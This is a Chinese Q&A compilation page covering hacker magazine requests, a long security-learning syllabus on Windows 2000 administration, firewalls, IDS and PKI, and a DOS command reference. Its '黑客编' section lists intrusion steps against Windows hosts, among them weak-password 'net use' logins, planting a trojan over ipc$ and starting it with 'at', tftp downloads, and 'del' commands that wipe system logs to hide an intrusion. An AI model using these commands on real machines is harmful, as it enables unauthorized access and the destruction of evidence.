本文目录一览：

• 1、黑客防线（下半年）小说txt全集免费下载
• 2、求《黑客X档案》《黑客防线》《黑客手册》《黑客手册》 《学黑客就这几招》 TXT格式文档，急！！！
• 3、想掌握黑客类的知识应该学些什么呢
• 4、关于dos命令！谁能把所有的常用的命令告诉我，将会得到高分得奖励
• 5、我想学习编程，但不知道从哪入手，基础也为零，求大神给点建议，推荐基本书籍方法
• 6、怎么通过端口进行入侵？

黑客防线（下半年）小说txt全集免费下载

黑客防线（下半年） txt全集小说附件已上传到百度网盘，点击免费下载：

求《黑客X档案》《黑客防线》《黑客手册》《黑客手册》 《学黑客就这几招》 TXT格式文档，急！！！

不要看这些杂七杂八的，容易误导，而且学得不系统，最终还是会感觉什么也没有学到。

想掌握黑客类的知识应该学些什么呢

基础：

如何去学习

·要有学习目标

·要有学习计划

·要有正确的心态

·有很强的自学能力

学习目标

·1.明确自己的发展方向(你现在或者将来要做什么,程序员?安全专家?网络黑客等)

·2.自己目前的水平和能力有多高

·能简单操作windows2000

·能简单配置windows2000的一些服务

·能熟练的配置Windows2000的各种服务

·能熟练配置win2000和各种网络设备联网

·能简单操作Linux,Unix,Hp-unix, Solaris中的一种或者多种操作系统

·能配置cicso,huawei,3com,朗迅等网络设备

·会简单编写C/C++,Delphi,Java,PB,VB,Perl

·能简单编写Asp,Php,Cgi和script,shell脚本

·3.必须学会不相信态度,尊重各种各样的能力

·不要为那些装模做样的人浪费时间

·尊重别人的能力,

·会享受提高自己能力的乐趣.

·在知道了自己的水平和能力之后就要开始自己的目标了

·--------安全专家

·--------黑客

·--------高级程序员

·黑客是建设网络,不是破坏网络, 破坏者是骇客;

·黑客有入侵的技术,但是他们是维护网络的,所以和安全专家是差不多的;

·因为懂得如何入侵才知道如何维护

·因为懂得如何维护才更要了解如何入侵

·这是 黑客与安全专家的联系

·但,他们都是在会编程的基础上成长的!

·下面我们开始我们的学习计划!

学习计划

有了学习计划才能更有效的学习

安全学习计划

不奢求对win98有多么精通,我们也不讲解win98如何应用,如何精通,我们的起步是win2000 s

erver,这是我们培训的最低标准,你对英语有一定的了解也是必不可少

最基础

·a.会装win2000,知道在安装的时候有两种分区格式,NTFS与FAT32 及他们的区别,知道win2

000可以在安装的时候分区,格式化硬盘, 可以定制安装,可以定制自己需要安装的一些组件

,如果有网络适配器,可以直接加入域中 学习点:NTFS和FAT32分区的不同 各个组件的作用

域的定义

·b.知道如何开,关机 知道注销的用处

·c.知道win2000下面各主要目录的作用 Documents and Settings,WINNT,system32 Progra

m Files

·d.知道管理工具里面各个组件的定义

·e.学会应用命令提示符cmd(dos)

·f.知道计算机管理里面的各个选项的不通

·g.知道win2000强大的网络管理功能

·h.能非常熟练的操作win2000

·i.知道IP地址,子网掩码,网关和MAC的区别

进阶

·A.配置IIS,知道各个选项的作用

·B.配置DNS,DHCP

·C.配置主控制域,辅助域

·D.配置DFS

·E.配置路由和远程访问

·F.配置安全策略IPSEC

·G.配置service(服务)

·H.配置磁盘管理,磁盘分额

·i. 配置RAID(0,1,0+1,5)

·J.路由器的安装与简单配置

·K.交换机的安装与简单配置

·L.常见的VPN,VLAN,NAT配置

·M.配置常见的企业级防火墙

·N.配置常见的企业级防病毒软件

高级

·之前我们学到的是任何一个想成为网络安全专家和黑客基本知识中的一部分

·你作到了吗??

·如果你做到了,足以找到一份很不错的工作!

配置负载均衡

·配置WIN2000+IIS+EXCHANGE+MSSQL+SERVER-U+负载均衡+ASP(PHP.CGI)+CHECK PIONT(ISA

SERVER) ·

·配置三层交换网络 ·

·配置各种复杂的网络环境

·能策划一个非常完整的网络方案 ·

·能独自组建一个大型的企业级网络 ·

·能迅速解决网络中出现的各种疑难问题

结束

·在你上面的都学好了,你已经是一个高级人才了,也是我们VIP培训的目标!

·可以找到一份非常好的工作

·不会再因为给女朋友买不起玫瑰而发愁了!

安全：

导读

·系统安全服务(SYSTEM)

·防火墙系统(FIREWALL)

·入侵检测(IDS)

·身份验证(CA)

·网站监控和恢复(WEBSITE)

·安全电子商务(E-BUSINESS)

·安全电子邮件(E-MAIL)

·安全办公自动化(OA)

·Internet访问和监控(AC)

·病毒防范(VIRUS)

·虚拟局域网(VPN)

系统安全服务

·系统安全管理

·系统安全评估

·系统安全加固

·系统安全维护

·安全技能学习

系统安全管理

·信息系统安全策略

·信息系统管理员安全手册

·信息系统用户安全手册

·紧急事件处理流程

系统安全评估

1、系统整体安全分析

· 分析用户的网络拓扑结构，以找出其结构性及网络 配置上存在的安全隐患。

· 通过考察用户信息设备的放置场地，以使得设备物理上是安全的。

· 分析用户信息系统的管理、使用流程，以使得系统 能够安全地管理、安全地使用

2、主机系统安全检测

· 通过对主机进行安全扫描，以发现系统的常见的安全漏洞。

· 对于特定的系统，采用特别的工具进行安全扫描。

· 根据经验，对系统存在的漏洞进行综合分析。

· 给出系统安全漏洞报告。

· 指出各个安全漏洞产生的原因以及会造成的危险。

· 给出修复安全漏洞的建议

3、网络设备安全检测

· 通过对网络进行安全扫描，以发现网络设备的安全漏洞。

· 根据经验，对网络设备存在的漏洞进行综合析。

· 给出网络设备安全漏洞报告。

· 指出各个安全漏洞产生的原因以及会造成的险。

· 给出修复安全漏洞的建议。

安全系统加固

·为用户系统打最新安全补丁程序。

·为用户修复系统、网络中的安全漏洞。

·为用户去掉不必要的服务和应用系统。

·为用户系统设置用户权限访问策略。

·为用户系统设置文件和目录访问策略。

·针对用户系统应用进行相应的安全处理。

安全系统维护

·防火墙系统维护，安全日志分析

·IDS系统维护，安全日志分析

·VPN系统维护，安全日志分析

·认证系统维护，安全日志分析

·服务器、主机系统，安全日志分析

·其它各类安全设施维护及日志分析

安全技能培训

·网络安全基础知识

·网络攻击手段演示和防范措施

·防火墙的原理和使用

·VPN的原理和使用

·漏洞扫描工具的原理和使用

·IDS（入侵检测系统）的原理和使用

·身份认证系统的原理和使用

·防病毒产品的原理和使用

·系统管理员安全培训

·一般用户安全培训

防火墙系统

·防火墙的定义

·防火墙的分类

·包过滤防火墙

·应用网关防火墙

·状态检测防火墙

·一般企业防火墙配置

·政府机构防火墙配置

·涉密网络保密网关配置

·高可用性和负载均衡防火墙系统

·高速防火墙系统

防火墙的定义

·用以连接不同信任级别网络的设备。

·用来根据制定的安全规则对网络间的通信进行控制

防火墙的分类

·包过滤 (Packet Filters)

·应用网关 (Application Gateways)

·状态检测(Stateful Inspection)

包过滤防火墙

·包 过 滤 技 术

·主要在路由器上实现，根据用户定义的内容（如IP地址、端口号）进行过滤。包过滤在网

络层进行包检查与应用无关。

· 优 点

· 具有良好的性能和可伸缩性。

· 缺点

· 由于包过滤技术是对应用不敏感的，无法理解特定通讯的含义，因而安全性很差。

应用网关防火墙

·应用网关技术

·第二代防火墙技术，其在应用的检查方面有了较大的改进,能监测所有应用层，同时对应

用“内容”（Content Information）的含义引入到了防火墙策略的决策处理。

· 优点

· 安全性比较高。

· 缺点

· 1、该方法对每一个请求都必须建立两个连接，一个从客户端到防火墙系统，另一个从

防火墙系统到服务器，这会严重影响性能。

· 2、防火墙网关暴露在攻击者之中。

· 3、对每一个代理需要有一个独立的应用进程或 daemon 来处理， 这样扩展性和支持

新应用方面存在问题。

检测状态防火墙

· 属第三代防火墙技术，克服了以上两种方法的缺点，引入了OSI全七层监测能力，同时

又能保持 Client/Server的体系结构，也即对用户访问是透明的。

· 防火墙能保护、限制其他用户对防火墙网关本身的访问。

· 状态检测技术在网络层截获数据包后交给INSPECT Engine,通过 INSPECT Engine 可以

从数据包中抽取安全决策所需的所有源于应用层中的状态相关信息，并在动态状态表中 维

持这些信息以提供后继连接的可能性预测。该方法能提供高安全性、高性能和扩展性、高伸

缩性的解决方案。

入侵检测系统

·处理攻击时遇到的典型问题

·解决入侵的方法和手段

·基于网络的入侵检测

·基于主机的入侵检测

·入侵检测系统典型配置

处理攻击时遇到的问题

·获得的信息不足

·不知到网络上发生了什么事。

·无法判定系统是否已经被入侵。

·信息不准确

·人员少

·没有足够的人员维护管理。

·缺乏规范的处理程序

·发现攻击时如何反应?

·下一步该如何处理?

解决入侵的方法和手段

·采用入侵实时入侵监控系统（IDS）

·对系统、网络中发生的事件进行实时监控。

·当发生入侵事件时能即时反应。

·对入侵事件进行详细记录并跟踪。

基于主机的入侵检测

·软件模块安装在包含有重要数据的主机上

·监视操作系统的日志以发现攻击的特征。

·监视代理所处主机上的所有进程和用户.

·监视暴力登录攻击（brute-force login）, 试图改变或绕过安全设定，及特权的滥用等

。

·当新的日志产生时，为了减小对CPU的影响，代理程序暂时中断。

基于网络的入侵检测

·软件安装在专门的主机上，放置于关键的网段

·将配置该软件主机的网卡设置为混杂模式，使得该主机能接受网段上所有的包。

·分析数据包以判断是否有黑客攻击。

·监视网段上的所有数据。

·对网络的流量无任何影响。

·能检测到 denial of service attacks, unauthorized access attempts, pre-attack s

cans等攻击。

身份认证系统

·用户身份认证的方法

·不同认证方法的安全级别

·用户身份认证的常用方式

·解决问题的方法

·目前比较成熟的双因素认证方法

用户身份验证

·你知道的一些东西

· 密码, 身份证号，生日

·你有的一些东西

· 磁卡, 智能卡,令牌, 钥匙

·你独有的一些东西

· 指纹,声音，视网膜

密码是不安全的

·可以破解密码的工具太多

·大多密码在网络中是明文传输的

·密码可以网络离线时被窥测

·密码和文件从PC和服务器上被转移了

·好记的密码容易被猜到,不易猜测的密码又太难记

解决方法

·使用混合的工具:如IC卡+PIN

网站监控与恢复系统

·典型的Web服务器应用

·Web服务器存在的安全问题

·网站安全解决方法

典型web服务器应用

·Internet--路由器--防火墙--web站点

· |

· |

· 内部网

·所有的放在防火墙后面

Web服务器存在的安全问题

· 网页被非法篡改是网站内容提供者最头痛的问题。在采用防火墙后，Web服务器本身的漏

洞成为了网站被黑的主要问题。

· Web应用服务器(如IIS,Apache中存在着大量的安 全漏洞.)

· 用户自己开发的CGI、ASP、PHP应用中存在着大量潜在的漏洞。

网站安全

·采用Web服务器监控与恢复系统

·该系统提供对网站文件内容的实时监控，发现被改动后立即报警并自动恢复。

电子商务安全系统

·典型的电子商务应用

·电子商务中存在的安全问题

·电子商务的安全解决方法

·实时数据交换系统

典型电子商务应用

·Internet---防火墙---Web服务器

· || |

· || |

· 内部网(数据库)

电子商务中存在的安全问题

·1、Web服务器端

·Web应用服务器（如IIS、Apache中存在着大量的安全漏洞。用户自己开发的CGI、ASP、PH

P应用中存在着潜在的漏洞。

· 黑客通过这些漏洞攻击Web服务器，可非法篡改网页，造成恶劣影响，动摇了电子商务使

用者的信心。

· 甚至可获得Web服务器上大量的敏感资料，如用户的信用卡号，用以连接内部数据库的帐

号和口令。

· 可能通过控制Web服务器，来攻击内部数据库。

电子商务中存在的安全问题

·2、SSL协议

·SSL加密强度低。由于浏览器默认的加密模块只支持40位的低强度加密，而且即使在浏览

器中安装更高位的加密模块，由于WEB服务器不提供对高位SSL链接的支持同样无法实现高强

度SSL加密链接。

· 无法解决电子商务中的用户签名。SSL链接建立WEB服务器和用户浏览器之间的安全通道

只能保证在安全通道内的信息不被窃听或篡改，并不能对用户发送的信息进行签名以保证信

息的有效性和不可抵赖性，而这正是电子商务中必须解决的问题。

电子商务的安全解决方法

·将WEB服务器分为两部分：一般内容的WEB服务器和交易WEB服务器。

· 一般内容的WEB服务器放置在DMZ区内，采用WEB站点监控和恢复系统保护，防止主页被非

法改动。

· 交易WEB服务器放置在内部网内，通过一台物理分隔的实时数据交换系统将其与DMZ区相

连。

· 在客户机和服务器端安装SSL代理，从而获得128位的高强度加密通道

实时数据交换系统

·将系统外部 Web服务器和内部应用Web服务器物理隔开.

·外部Web服务器用于存放一般的信息，内部Web服 务器用于存放敏感信息，并和内部数据

库连接。

·外部用户通过http访问位于DMZ区内的一般Web服务器。

·当进行交易时，用户需访问位于内部网内的应用服务器。

·https连接首先到达实时数据交换系统的虚拟外部Web服务器，实时数据交换系统将https

协议解开，只将https连接的数据内容拷贝到虚拟内部Web服务器，虚拟内部Web服务器将使

用该数据重新发起https连接到实际的内部应用Web服务器.

·内外通过实时数据交换系统进行数据交换，无任何协议和连接穿过实时数据交换系统。

·即使DMZ区的Web服务器受到攻击, 攻击者也的不到任何有用的信息

安全电子邮件系统

·电子邮件的安全问题

·安全电子邮件的解决方法

·一个安全邮件的使用过程

电子邮件的安全问题

·如何保证发送的敏感信息不被泄漏

·如何保证发送的信息不被篡改

·如何确认发件人的真实身份

·如何防止发件人的抵赖行为

安全电子邮件的解决方法

·将PKI体系应用到邮件系统中

·邮件的加密和解密以实现数据的保密。

·邮件的数字签名（鉴别）实现发件人认证和不可抵赖。

·完整性校验功能防止信息传输过程中被篡改可*的安全性。

·采用公开密钥和对称密钥相结合的密钥体系。

·支持128bit对称密钥算法和1024bit公开密钥算法。

办公自动化系统的安全问题

· 如何保证发送的敏感信息不被泄漏

· 如何保证发送的信息不被篡改

· 如何确认发件人的真实身份

· 如何防止发件人的抵赖行为

安全办公自动化系统的解决方法

·将PKI体系应用到办公自动化系统中

·工作流信息的加密和解密以实现数据保密

·工作流信息的数字签名（鉴别）实现发件人认证和不可抵赖。

·完整性校验功能防止信息传输过程中被篡改可*的安全性。

·采用公开密钥和对称密钥相结合的密钥体系

·支持128bit对称密钥算法和1024bit公开密钥算法。

Internet访问及控制系统

·Internet使用存在的问题

·Internet使用的解决方法

·内容缓存系统

·Internet站点过滤系统

Internet访问存在的问题

·Internet接入带宽不足，访问比较慢。

·大量的用户访问相同的内容，造成带宽的进一步拥挤。

·在上班时间里大量的Internet访问是与业务无关的。

·有人使用公司的Internet系统访问色情网站。

·有人使用公司的Internet系统访问反动站点。

·管理人员无法知道Internet系统的使用情况。

Internet访问的解决方法

· 对于问题一，采用内容缓存系统。

· 对于问题二，采用Internet 站点过滤系统。

内容缓存系统

·1、Client 发起http连接请求

·2、Proxy 收到请求后将检查内部缓存内是否有所需内容，若有，则返还给Client。

·3、若无，则Proxy根据请求向目的服务器发起请求。

·4、Web服务器将内容返回到Proxy服务器。

·5、Proxy服务器将得到的内容发回给Client，并在自己的缓存中保存一份。

Internet站点过滤系统 (一)

·1、Client 发起http连接请求

·2、连接到达防火墙时防火墙将URL送到WebSense Server 检查。

·3、WebSense 将审查结果返回到防火墙。

·4、防火墙根据其策略决定是否让该连接通过。

Internet站点过滤系统 (二)

·1、Client 发起http连接请求

·2、Proxy 受到请求后将URL送到WebSense Server检查。

·3、Proxy根据返回的结果决定是否接收该连接请求。

病毒防范系统

· 互连网时代对防病毒系统的要求

· 计算机病毒解决方法

· 典型病毒防范系统部署

互联网时代对防病毒系统的要求

· 由于计算机的联网使用，使得病毒传播的途径大为增多：网络文件共享、电子邮件、Int

ernet文件下载，传播速度也大为加快。

· 新病毒的出现速度加快，用户的防病毒软件的病毒特征码没能及时更新。

· 目前已出现了恶意的Java、ActiveX，当使用者浏览到包含这些代码的网页时，会造成安

全问题。

· 一些来历不明的电子邮件程序或下载的程序中带有特洛依木马，可能会造成受害者的主

机被他人控制。

计算机病毒解决方法

· 从系统的观点考虑病毒的防范，在所有病毒传输的途径上均配置防病毒软件，如客户端

（Win98、 · Win2000)、文件服务器（NT、Netware）、邮件服务器（Exchange、Lotus

Notes）、Internet接入系统（Proxy、Firewall)等。

· 整个病毒防范系统采用集中管理的方式，病毒特征码统一更新，安全策略集中设定，从

而使得整个网络系统的病毒特征码得到快速更新。

· 通过在客户端的浏览器和Proxy、Firewall中嵌入病毒检查软件，来防范下在程序中带有

的病毒和可能的恶意Java、ActiveX等可执行代码的攻击。

VPN（虚拟私有网）

· 数据加密分类

· 物理线路加密

· 数据链路加密

· 网络层加密—IPSec

· 传输层加密—SSL

数据加密类型

·物理层-物理层 物理线路加密

·数据链路层-数据链路层 (路由器访问)

·在数据链路层(如PPP）进行加密 L2TP、PPTP、L2F

·网络层-网络层(路由器 防火墙 主机)

·在网络层 （如IP）进行加密 IPSec

·传输层-传输层 (对TCP进行加密 SSL)

·应用层-应用层(在应用层 (如TCP）进行加密 S/MIME、SET、SSH)

物理线路加密

· DDN 加密机

· 帧中继加密机

· 异步拨号Modem

· ISDN线路密码机

· ATM加密机

注:传输层加密

·Secure Sockets Layer (SSL) 是一个端到端的Internet 安全协议，通过采用数字证书，

它提供了数据加密、身份认证的功能。SSL建立在传输层，它为客户机和服务器在应用级建

立起一个端到断的安全会话。

·SSL代理—128位的高强度加密模块

结束语·恭喜你:

·学完这些并且可以熟练应用,已经是一个真正的网络安全专家了!

·希望此时的你旁边有个温柔稍有点调皮的女朋友,为这孤独而寂寞的网络添加一点跳动的

色彩!

黑客编：

必须要掌握的几个命令

·Net

·netsh

·Ftp

·hostname

·Telenet(nc)

·tracert

·At

·Tftp

·Netstat

·Regedit

·Ping

必须要掌握的几个协议

·http

·dns

·ftp

·Pop

·Smtp

·Icmp

·Udp

·tcp

开始

·掌握了黑客攻击的方式和手段后,那么学习黑客就简单多了!

·因为你掌握了这些,剩余的就是使用工具入侵

·熟悉掌握一套自己用的黑客工具

高级

·自己编写专用的黑客工具

·自己发现系统漏洞

黑客入侵手段

·收集信息:

· 收集要入侵的目标信息

· IP,域名,端口,漏洞,位置

弱口令

·在nt\2000\xp\2003中弱口令可以用

·Net use \ip “password” /user:user

·如果目标机开3389服务,可以直接连接

·在sql的sa弱口令,可以用sql连接器直接 ·登陆

后门木马

·如果有ipc$共享,可以copy过去木马后门

·用at启动

·AT \ip time /INTERACTIVE

·如果可以得到shell,也可以用tftp

·T –i ip get *.* *.*

·然后直接安装 ·如果有3389,可以自己建一个iis,下载 直接运行

密码破解

·远程破解mysql,mssql,ftp,mail,共享密码

·本地破解管理员(administrator)密码

缓冲溢出

·可以用缓冲溢出攻击,

·比如流行的webdev,rdcom模块漏洞

·可以直接得到system管理权限

·缓冲溢出后的一般现象是:

·Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32

Web服务漏洞

·例如:

·Unicode漏洞遍历磁盘和执行程序

·二次编码漏洞遍历磁盘和执行程序

·.HTR漏洞查看源代码

嗅探监听

·例如:

·针对web监听

·针对mail监听

·工具如:sinffer , iris

欺骗攻击

·例如:

·运用arp欺骗攻击

伪装欺骗

·常见的如:mail病毒

·把一个文件改名字甚至图标,欺骗对方执行

社会工程学

·例如:

·QQ聊天诱惑

·EMAIL信息

·电话

·诱惑

拒绝服务

·例如:

·Dos攻击

·Ddos攻击

利用跳板

·利用自己的肉鸡作为跳板攻击别的机器

·My PC------跳板(肉鸡)---目标

路由器漏洞

·如:

·原始密码

·程序漏洞

防火墙

·利用欺骗攻击防火墙,导致防火墙功能失效

·利用防火墙的模块漏洞

unix/linux

·NetWare Linux unix solais Solaris hp-unix Aix 等

·这些目前先不讲解

精通黑客工具

·必须有一套自己可以完全掌握的黑客工具

·如端口扫描 Nscan,bluescanport

·监听工具:sinffer iris

·telnet工具:nc

·扫描工具:sss,nmap, LANguard

·后门工具:radmin,winshell

·密码破解:lc4

·远程管理:pcanywhere

·会使用各种经典的黑客工具

清除日志

·在你入侵机器以后,离开的时候,要完全清除

·自己在那台机器上留下的痕迹

·例如清除

·Del C:\WINNT\system32\LogFiles\*.*

·Del C:\WINNT\system32\*.log

·Del C:\WINNT\system32\*.txt

·Del C:\WINNT\*.log

·Del c:\winnt\*.txt

如果你不清除日志

·当目标机器的管理员发现你的证据

·完全可以让你在大墙内渡过一段日子

黑客

·当你完全掌握这些后

·你就成为了一名小黑客

高级

·编写自己的黑客工具

·发现系统漏洞

高级黑客

·目前你足以成为一个高级黑客了

真正的黑客

·精通各种网络协议

·精通操作系统

·精通编程技术

·精通安全防护

·不搞破坏

·挑战技术难题

结束

·想学好这些,并不是*别人给你的,而是*自己的努力,自己的自学得到的!

·别人只能指导你,怎么去做,只能告诉方法,

·真正的实施是你自己,经过N*N个日夜努力换来的

关于dos命令！谁能把所有的常用的命令告诉我，将会得到高分得奖励

DOS常用命令

一、DIR 命令的格式：

dir [D:][PATH][NAME][[/A][:attrib]][/o:[sorted][/s][/b][/l][/c[h]

(1)dir /a:attrib 缺省包含所有文件(系统文件.隐含文件)

attrib[:][h/-h]只显示隐含文件或非隐含文件.

[r/-r]只显示只读文件或非只读文件

[s/-s]只显示系统文件或非系统文件

[a/-a]只显示要归档文件或非归档文件

(2)/o[:]sorted:缺省完全按字母顺序,子目录显示在文件之前

/o[n/-n]:按字母顺序或按文件名顺序/反向显示

[e/-e]:按扩展名字母顺序/反向显示

[d/-d]:按时间顺序/反向显示

[s/-s]:按大小从大到小或/反向显示

[g/-g]:按子目录先于文件或文件先于子目录

(3)/s 参数:对当前目录及其子目录中所有文件进行列表

列名:dir /s/a/o:n c:\PRN

将c盘上的所有子目录和文件按隶属关系并根据子目录和文件字母顺序打印输出

(4)/B 参数:将只显示文件名与扩展名

(5)/L 参数:将全部用小写字母对文件或子目录进行列表

训练:

dir /a 列当前目录所有文件(含隐含及系统文件)

dir /ah 列隐含文件(包含子目录(隐含的) dir /a-h

dir /as 列系统文件 dir /a-s

dir /ad 列子目录 dir /a-d

dir /o 按字母顺序

dir /B 只显示文件名与扩展名

二、attrib [+r|-r] [+a|-a] [+s|-s] [+h|-h] [d: ] [name] [/s]

缺省 attrib name 显示文件的(文件)属性

attrib io.sys (或子目录)

shr c:\ io.sys 指定为系统(s) 隐含(h) 只读(r)文件

也可以attrib *.sys 显示扩展名为sys的文件属性

参数 [+r|-r] 将文件属性设置或解除 只读属性

[+a|-a] 将文件属性设置或解除 归档属性

[+h|-h] 将文件属性设置或解除 隐含属性 (尤其对子目录也起作用)

/s 参数 将当前及当前子目录下的所有文件均起作用

可以用来查找文件

例子:

attrib news86 列news86的文档属性

attrib +r report.txt 设置为只读 attrib -s -h record.txt

attrib +a a:*.*

attrib -a a:*.bak

xcopy a: b: /a 将A盘上的所有标志为"归档"属性的文件拷到B盘

xcopy a: b: /m 将A盘上的所有文件拷到B盘后并移去归档属性

三、cd 介绍: cd...返回上二级目录 "."代表当前目录 "."代表父目录

cd ..\..返回到上级目录的父目录(祖目录)

cd A:\ 将A盘的当前目录改为根目录

cd A:\xx 将A盘的当前目录改为子目录xx下

cd ..\98 先返回父目录,再进入父目录下的98子目录

cd ..返回到父目录

cd\98 进入根目录下的98子目录

四、copy [/y][/-y][/v][ /B]

copy /y 不加提示,对所有文件加以覆盖

/-y 加以提示,对所有文件 (yes或no提问 )

/v 拷贝以后加以校验

/B 按二进制进行显示

copy w1.wps con/b 可以将wps文件在屏幕上显示,而不必进入wps状态

copy ..\98 将父目录下的98子目录下的所有文件全拷到当前子目录

copy .\97 当当前目录下的97子目录下文件全部拷到当前目录

copy . c:\ 将当前目录下的所有文件拷到c盘根目录

. 意味着 *.* 文件

copy nul a.abc 将a.abc 文件清空(文件长度改为0)

copy 文件名+con 向文本文件中追加命令或内容

copy con 文件名 创建文本文件(F6存盘退出)

copy con prn 检测打印机的开关

五、xcopy命令

xcopy [source] [d:date] [/p] [/s] [/e] [/v] [/y]

xcopy [d:date] xcopy a:b:\ /d:08/18/98/s/v 拷贝98.08.18年后的文件

xcopy [/p] 提示创建子目录

xcopy [/s] 连带子目录一起拷贝. 注意:若目标盘上不存在此子目录,而在目标

盘的结束符又不以"\"为结束,则将提示:

does destination specify a file name or directory name on the target

[f=file,d=directory]?

在目标盘上创建文件[按下]还是创建子目录[按下d] ?应选择d键

xcopy[/v] 带较验

*:(1) xcopy 不拷贝系统和隐含文件,应先予以修改属性再拷贝

xcopy [/y] 覆盖时是否有提示, /y 不带提示

若省略目标盘或子目录名,则拷贝到当前目录下

六、 del /p

加/p 可以在删除前是否提示

如del后加子目录名,则将子目录下所有文件(隐含.系统.只读文件除外)全删除,

加/p则可以确认.

七、undelete [name] /au

不加提示地将所有满足条件的文件恢复(能够恢复的),并将首字母置成"#",若已

存在,则按"# % 0 1 2-9 a-z"顺序加上.

如:undelete *.dbf/au 将扩展名为"dbf"的文件全恢复,并以"#"开头,作为文件

名, /list 仅列出可恢复的文件,而不恢复

undelete /load 将undelete装入内存

/unload 将undelete卸出内存

/s[drive]对指定驱动器进行监测管理

undelete/sc

将 undelete驻留内存,?并创建一个隐含的sentry 子目录对c盘删除的文件进行

管理 undelete/ds 恢复

相应恢复命令可以用undelete即可完整恢复出文件名(非常完整)

最常用undelete *.*

deltree /y [drive:path]

deltree 删除子目录及文件,尽管有些文件是系统文件或隐含文件

它可以带有通配符,带有通配符时,它将删除符合条件的文件及子目录

如:?undelete *.dbf/au 将扩展名为"dbf"的文件全恢复,并以"#"开头作为文件

名.

/list 仅列出可恢复的文件,而不作恢复操作.

undelete/load 将undelete 装入内存.

/unload将undelete 卸出内存.

/s[drive] 对指定的驱动器进行监视管理.

undelete/sc 将undelete 驻留内存,并创建一个隐含的sentry子目录对C盘删除

的文件进行管理.相应恢复命令可以用undelete/ds 即可完整恢复出文件名(很完善).

最常用的是undelete *.*

八、deltree /y [drive:path]

deltree 删除子目录及文件,尽管有些文件是系统或隐含的.

它可以带有通配符,这时它将删除符合条件的文件或子目录.

如:存在L1文件,L2子目录,L3文件,L4子目录

deltree L*.* 将删除以上所有的文件和子目录,但在删除前加以确认,若不删除,

可以输入"N".

/y 参数是在删除时不加以确认就进行操作的.

它删除的文件可以用undelete恢复,?但不能恢复子目录及其下的文件,可以用特

殊工具.如NORTON 8.0 等.

若提前使用了undelete/s,?则可以在sentry子目录下找到完整的文件,但名已经

改变了.

九、dos=high[|low[umb|noumb]]

dos=high,umb 则dos将自身装入高端内存(high)并能管理上位内存(umb).

noumb 则不管理上位内存.

在写入dos=high及umb 前应装入device=himem.sys

为了将程序或驱动程序装入上位内存,必须使用dos=umb,可省出大部分常规内存.

可以在config.sys的任何位置写上dos=high,umb

若显示hma not avoiable 或 load down low 则表明不能使用高端内存.

十、doskey 记录以前敲过的dos命令,可以用F7来显示,用"↑↓"来选择,用F9来输入

选择的命令号.

doskey/restall 重新装入一次,以前的命令行撤消.

doskey/history 显示内存中所有的命令,可以""显示到其它文件中,缩写"/H".

doskey dir=cls 则击入dir等同于cls一样.

doskey/macros 可显示所有的宏定义,可使用""重定义到文件中,可缩写"/M".

doskey dir= 可撤消对dir 的宏定义.

doskey p=dir$tdir*.exe/p$tdir c:\t$tdir c:\t$*

$t为命令的区分符,而$*为命令的结束符

doskey/insert(overstrike)?在重新输入命令时,对旧命令的修改是插入还是覆

盖状态(默认).

十一、emm386.exe

提供对扩展内存的管理,使应用程序象使用常规内存一样能够使用它.

常见的用法是 在config.sys 中

device=c:\dos\himem.sys

device=c:\dos\emm386.exe ram

d=64 将DMA 内存数量设置为64K

noems 提供对上位内存的访问,但不提供对扩展内存的访问.

应注意的是在windows中最好不要用它,因为windows本身有对扩展内存进行管理

的程序.应采用windows中的管理器.

十二、fc 命令 fc/b dt.dat dt2.datb (作二进制代码比较)

比较两个文件,一般用作存取进度,修改游戏存储文件用.

实际代码位置应加上0100 如:0000 05E4:00 67

实际用debug -e 修改时应加上0100 即 0000 06E4:00 67

后面加上重定向文件"P" 可以将比较结果输出到p文件中.

十三、format /q /u /s /n:sectors /f:size /c

/q参数:快速格式化,仅扫描文件分配表和根目录区,仅对格式化过的磁盘有效.

使用时应确保格式化过后没有增加新的坏道.

/u参数:无条件格式化,并且不保存原来盘上的信息,可以防止"unformat".

/s参数:格式化为系统盘,也可以使用"sys"命令.

/f:size size 可以为160 180 320 360 720 1200 1440 2800

/n:sector n可以为1 格式为单面盘,容量为160k 180k

可以为4 可以在5寸高密驱动器上格式化360k磁盘

可以为8 可以在5寸高密驱动器上进行8个扇区的格式化.

/c 重新测试坏扇区,缺省时如果一个扇区标记为"坏",以后格式时就不在从新测

试,仅作标记,使用"/C"时可以从新测试.

十四、unformat 命令

对用format 格式过,且未用"/u"参数的命令起作用,用它可以来重新修复已经损

坏的硬盘分区表,但对网络盘不起作用.

unformat drive:[/l][/test][/p]

/l 显示每一个被unformat发现的文件和子目录,如果没有这个开关,只显示那些

破碎的文件和子目录,可以用ctrl+s 暂停,按任意键继续.

/test 仅作一个测试,不作实际的修复工作,作模拟过程.

/p 一边测试一边打印.

注:这种方法不能保证修复所有的文件,尤其是格式化后又添加过数据的磁盘.

恢复后的文件依次存放在subdir1....2....3等子目录中.

十五、interlnk 语法 interlnk g=e ,它可以通过串口或并口在两机间进行通讯.

将服务器端上的e驱动器映射为客户端的g驱动器,以后对客户端而言,所有对g的

操作都意味着对服务器的访问,取消映射的办法为interlnk g=

单独输入interlnk 则显示所有的映射情况.

注意:interlnk 必须在装入interlnk.exe 设备驱动程序才可以使用.

所用的驱动器符号与config.?sys中lastdrv.exe设置的数目有关.可以作一个一

端为25针,另一端为9针的串行线实现,具体接线方式如下:

5 - 7 2 - 15

3 - 2 3 - 13

7 - 4 4 - 12

6 - 6 5 - 10

3 - 3 6 - 11

8 - 5 15 - 2

4 - 20 13 - 3

9针 25针 12 - 4

10 - 5

11 - 6

25 - 25

25针 25针

十六、interlnk.exe 与intersvr.exe

interlnk.exe 重新定向对于客户驱动器或打印接口的请求到另外的服务器驱动

器或打印机.

语法:config.sys 中加入:

device=c:\dos\interlnk.exe [drive:n][/noprinter][com][lpt]

十七、memmaker[/b][/batch][session][/swap:drive]

使用memmaker能够优化内存配置,?并将配置写入autoexec.bat和config.sys中.

在这一过程中,需要重新启动几次机器.

十八、memitem memcolor memdefault submenu 菜单选项include

autoexec.bat 中如下: config.sys中如下:

path c:\dos;c:\ucdos [menu]

doskey menucolor=15,1(前景色15,背景色1)

\mouse\mouse menuitem=base_config,this is a base

goto %config% -选择项 menuitem=cced_config,this is a cced

选项 提示

:base_config menudefault=base_config,5

goto exit -跳出 缺省为base_config,延迟时间5秒

:cced_config [common]

c:\dos\smartdrv.exe /l device=c:\dos\himem.sys

goto exit 各项都包含的共同部分

